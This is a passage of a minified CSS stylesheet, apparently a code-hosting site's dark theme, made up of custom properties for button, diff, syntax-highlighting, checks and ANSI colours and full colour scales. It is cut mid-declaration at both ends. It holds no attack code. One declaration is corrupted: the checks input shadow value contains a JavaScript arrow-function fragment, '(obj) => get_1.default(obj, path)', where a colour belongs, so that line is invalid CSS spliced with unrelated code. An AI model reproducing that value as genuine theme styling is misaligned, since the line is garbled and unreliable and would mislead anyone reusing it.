#ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: 